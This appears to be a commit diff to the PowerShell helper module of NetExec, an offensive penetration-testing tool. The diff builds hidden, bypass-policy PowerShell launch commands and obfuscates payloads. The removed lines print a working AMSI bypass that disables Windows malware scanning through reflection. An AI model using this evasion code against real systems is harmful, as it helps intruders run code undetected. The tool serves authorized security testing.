|
12 | 12 |
|
13 | 13 | obfuscate_ps_scripts = False |
14 | 14 |
|
| 15 | +def replace_singles(s): |
| 16 | + """Replaces single quotes with a double quote |
| 17 | + We do this because quoting is very important in PowerShell, and we are doing multiple layers: |
| 18 | + Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer. |
| 19 | +
|
| 20 | + Args: |
| 21 | + ---- |
| 22 | + s (str): The string to replace single quotes in. |
| 23 | +
|
| 24 | + Returns: |
| 25 | + ------- |
| 26 | + str: Original string with single quotes replaced with double. |
| 27 | + """ |
| 28 | + return s.replace("'", r"\"") |
15 | 29 |
|
16 | 30 | def get_ps_script(path): |
17 | 31 | """Generates a full path to a PowerShell script given a relative path. |
@@ -108,91 +122,66 @@ def obfs_ps_script(path_to_script): |
108 | 122 |
|
109 | 123 |
|
110 | 124 |
|
111 | | -def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None): |
| 125 | +def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True): |
112 | 126 | """ |
113 | 127 | Generates a PowerShell command based on the provided `ps_command` parameter. |
114 | 128 |
|
115 | 129 | Args: |
116 | 130 | ---- |
117 | 131 | ps_command (str): The PowerShell command to be executed. |
118 | | -
|
119 | 132 | force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False. |
120 | | -
|
121 | | - dont_obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False. |
122 | | -
|
| 133 | + obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False. |
123 | 134 | custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None. |
| 135 | + encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True. |
124 | 136 |
|
125 | 137 | Returns: |
126 | 138 | ------- |
127 | 139 | str: The generated PowerShell command. |
128 | 140 | """ |
| 141 | + nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}") |
| 142 | + |
129 | 143 | if custom_amsi: |
| 144 | + nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}") |
130 | 145 | with open(custom_amsi) as file_in: |
131 | 146 | lines = list(file_in) |
132 | 147 | amsi_bypass = "".join(lines) |
133 | 148 | else: |
134 | | - amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} |
135 | | -try{ |
136 | | -[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true) |
137 | | -}catch{} |
138 | | -""" |
139 | | - |
140 | | - command = amsi_bypass + f"\n$functions = {{\n function Command-ToExecute\n {{\n{amsi_bypass + ps_command}\n }}\n}}\nif ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')\n{{\n $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32\n $job | Wait-Job\n}}\nelse\n{{\n IEX \"$functions\"\n Command-ToExecute\n}}\n" if force_ps32 else amsi_bypass + ps_command |
| 149 | + amsi_bypass = "" |
141 | 150 |
|
| 151 | + # for readability purposes, we do not do a one-liner |
| 152 | + if force_ps32: # noqa: SIM108 |
| 153 | + # https://stackoverflow.com/a/60155248 |
| 154 | + command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}" |
| 155 | + else: |
| 156 | + command = f"{amsi_bypass} {ps_command}" |
| 157 | + |
142 | 158 | nxc_logger.debug(f"Generated PS command:\n {command}\n") |
143 | 159 |
|
144 | | - # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed |
145 | | - # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way |
146 | | - # of dealing with this it will use the partial python implementation that I stole from GreatSCT |
147 | | - # (https://github.com/GreatSCT/GreatSCT) <3 |
148 | | - |
149 | | - """ |
150 | | - if is_powershell_installed(): |
151 | | -
|
152 | | - temp = tempfile.NamedTemporaryFile(prefix='nxc_', |
153 | | - suffix='.ps1', |
154 | | - dir='/tmp') |
155 | | - temp.write(command) |
156 | | - temp.read() |
157 | | -
|
158 | | - encoding_types = [1,2,3,4,5,6] |
159 | | - while True: |
160 | | - encoding = random.choice(encoding_types) |
161 | | - invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'), |
162 | | - temp.name, |
163 | | - encoding) |
164 | | - nxc_logger.debug(invoke_obfs_command) |
165 | | - out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip() |
166 | | -
|
167 | | - command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out) |
168 | | - nxc_logger.debug('Command length: {}'.format(len(command))) |
169 | | -
|
170 | | - if len(command) <= 8192: |
171 | | - temp.close() |
172 | | - break |
173 | | -
|
174 | | - encoding_types.remove(encoding) |
175 | | - |
176 | | - else: |
177 | | - """ |
178 | | - if not dont_obfs: |
| 160 | + if obfs: |
| 161 | + nxc_logger.debug("Obfuscating PowerShell command") |
179 | 162 | obfs_attempts = 0 |
180 | 163 | while True: |
181 | | - command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{invoke_obfuscation(command)}"' |
| 164 | + nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}") |
| 165 | + obfs_command = invoke_obfuscation(command) |
| 166 | + |
| 167 | + command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"' |
182 | 168 | if len(command) <= 8191: |
183 | 169 | break |
184 | | - |
185 | 170 | if obfs_attempts == 4: |
186 | 171 | nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") |
187 | 172 | exit(1) |
188 | | - |
| 173 | + nxc_logger.debug(f"Obfuscation length too long with {len(command)}, trying again...") |
189 | 174 | obfs_attempts += 1 |
190 | 175 | else: |
191 | | - command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}" |
| 176 | + # if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error |
| 177 | + command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"' |
| 178 | + command = f"powershell.exe -noni -nop -w 1 {command}" |
| 179 | + |
192 | 180 | if len(command) > 8191: |
193 | 181 | nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") |
194 | 182 | exit(1) |
195 | | - |
| 183 | + |
| 184 | + nxc_logger.debug(f"Final command: {command}") |
196 | 185 | return command |
197 | 186 |
|
198 | 187 |
|
@@ -320,6 +309,7 @@ def invoke_obfuscation(script_string): |
320 | 309 | ------- |
321 | 310 | str: The obfuscated payload for execution. |
322 | 311 | """ |
| 312 | + nxc_logger.debug(f"Command before obfuscation: {script_string}") |
323 | 313 | random_alphabet = "".join(random.choice([i.upper(), i]) for i in ascii_lowercase) |
324 | 314 | random_delimiters = ["_", "-", ",", "{", "}", "~", "!", "@", "%", "&", "<", ">", ";", ":", *list(random_alphabet)] |
325 | 315 |
|
@@ -436,5 +426,7 @@ def invoke_obfuscation(script_string): |
436 | 426 | choice(["", " "]) + new_script + choice(["", " "]) + "|" + choice(["", " "]) + invoke_expression, |
437 | 427 | ] |
438 | 428 |
|
439 | | - return choice(invoke_options) |
| 429 | + obfuscated_script = choice(invoke_options) |
| 430 | + nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}") |
| 431 | + return obfuscated_script |
440 | 432 |
|
0 commit comments